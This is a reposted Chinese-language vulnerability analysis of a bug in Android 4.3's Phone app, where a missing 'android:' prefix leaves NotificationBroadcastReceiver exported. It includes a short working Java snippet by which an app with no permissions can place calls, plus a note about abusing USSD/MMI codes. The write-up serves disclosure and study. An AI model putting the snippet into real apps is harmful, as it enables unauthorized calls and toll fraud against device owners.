您好,登錄后才能下訂單哦!
簡介
這一類漏洞由德國的安全研究機構Curesec所發現,去年年底的時候秘密告訴Google,直到今年7月份的時候才決定公布一個類似的漏洞。這個漏洞涉及到com.android.phone.PhoneGlobals$NotificationBroadcastReceiv的組件暴露問題,導致惡意的應用程序無需聲明任何權限就可打電話。
2. 漏洞細節
在Android源碼(以JELLY_BEAN 4.3為例) /packages/apps/Phone/src/com/android/phone/PhoneGlobals.java存在一個名為NotificationBroadcastReceiver的BroadcastReceiver.
public static class NotificationBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); // TODO: use "if (VDBG)" here. Log.d(LOG_TAG, "Broadcast from Notification: " + action); if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) { PhoneUtils.hangup(PhoneGlobals.getInstance().mCM); } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData()); callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); context.startActivity(callIntent); } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData()); smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(smsIntent); } else { Log.w(LOG_TAG, "Received hang-up request from notification," + " but there's no call the system can hang up."); } }
從代碼中可以看到這個PhoneGlobals$NotificationBroadcastReceiver根據接收Intent的三種action,觸發不同的動作:
(1)ACTION_HANG_UP_ONGOING_CALL:掛斷正在進行中的電話;
(2)ACTION_CALL_BACK_FROM_NOTIFICATION:發送 action為Intent.ACTION_CALL_PRIVILEGED的intent,最終會啟動撥號的Activity(為OutgoingCallBroadcaster,從AndroidManifest得知),直接撥號;
(3)ACTION_SEND_SMS_FROM_NOTIFICATION:發送Intent,啟動發送的短信的Activity,這一步需要用戶干預。
有趣的是,在NotificationBroadcastReceiver前有這樣的注釋,
Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus sent from framework's notification mechanism (which is outside Phone context).This should be visible from outside, but shouldn't be in "exported" state.
程序員也知道這個類是不應該為導出狀態的。
然而在/packages/apps/Phone/AndroidManifest.xml中卻看到如下的語句,注意紅色部分應該為android:exported:"false",由于程序員少敲了個android,導致false沒有真正生效。
<!-- BroadcastReceiver for receiving Intents from Notification mechanism. -->
521 <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" exported="false">
522 <intent-filter>
523 <action android:name="com.android.phone.ACTION_HANG_UP_ONGOING_CALL" />
524 <action android:name="com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" />
525 <action android:name="com.android.phone.ACTION_SEND_SMS_FROM_NOTIFICATION" />
526 </intent-filter>
527 </receiver>
在android sdk文檔中有如下對receiver組件manifest中android:exported屬性的說明。
android:exported
Whether or not the broadcast receiver can receive messages from sources
outside its application — "true
" if it can, and "false
"
if not. If "false
", the only messages the broadcast receiver can
receive are those sent by components of the same application or applications
with the same user ID.
The default value depends on whether the broadcast receiver contains intent filters.
The absence of any filters means that it can be invoked only by Intent objects that
specify its exact class name. This implies that the receiver is intended only for
application-internal use (since others would not normally know the class name).
So in this case, the default value is "false
".
On the other hand, the presence of at least one filter implies that the broadcast
receiver is intended to receive intents broadcast by the system or other applications,
so the default value is "true
".
This attribute is not the only way to limit a broadcast receiver's external exposure.
You can also use a permission to limit the external entities that can send it messages
(see the permission
attribute).
當為true時表明該receiver可以接收所屬應用以外的消息,而為false時,只能接收同一應用組件或同一uid應用所發送的消息。而該屬性的默認值取決于是否聲明Intent filter,當沒有聲明時,默認為flase;當聲明至少一個Intent filter時,默認為true。在package.apps.Phone的manifest文件中,由于少敲了個android,實際是沒有設置android:exported屬性,而該文件又聲明了3個intent filter,因此取默認值true。這就是漏洞的成因。
3. 漏洞利用與危害
我們先來看下Android中的正常打電話流程,比如如下的代碼,用戶點擊Button則會撥EdiText輸入框中的號碼
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.newmain); bt = (Button)findViewById(R.id.btn1); edt = (EditText)findViewById(R.id.edit1); bt.setOnClickListener(new Button.OnClickListener() { public void onClick(View v) { String inputStr = edt.getText().toString(); if(inputStr.trim().length()!= 0) { Intent phoneIntent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + inputStr)); startActivity(phoneIntent); } else { Toast.makeText(MainActivity.this, "請輸入號碼!", Toast.LENGTH_LONG).show(); } } });
同時需要在Manifest文件中聲明權限
<uses-permission android:name="android.permission.CALL_PHONE" />
利用上述漏洞惡意App,卻不需要任何權限,只需要調用如下的代碼
Intent intent = new Intent(); intent.setComponent(new ComponentName("com.android.phone","com.android.phone.PhoneGlobals$NotificationBroadcastReceiver")); intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION"); intent.setData(Uri.parse("tel:xxx")); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); sendBroadcast(intent);
由于Intent.ACTION_CALL_PRIVILEGED還支持類似于*#06#那樣的USSD/SS/MMI指令,因此可能造成更為嚴重的危害。
4. 影響范圍與POC
受影響的Android版本如下
Curesec在其網站中給出了實現POC的APP,并編寫了Drozer利用模塊,見[3]。
參考:
[1] http://1.xbalien.sinaapp.com/?p=171
[2] http://androidxref.com/4.3_r2.1/xref/packages/apps/Phone/src/com/android/phone/PhoneGlobals.java#1575
[3] http://blog.curesec.com/article/blog/35.html
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。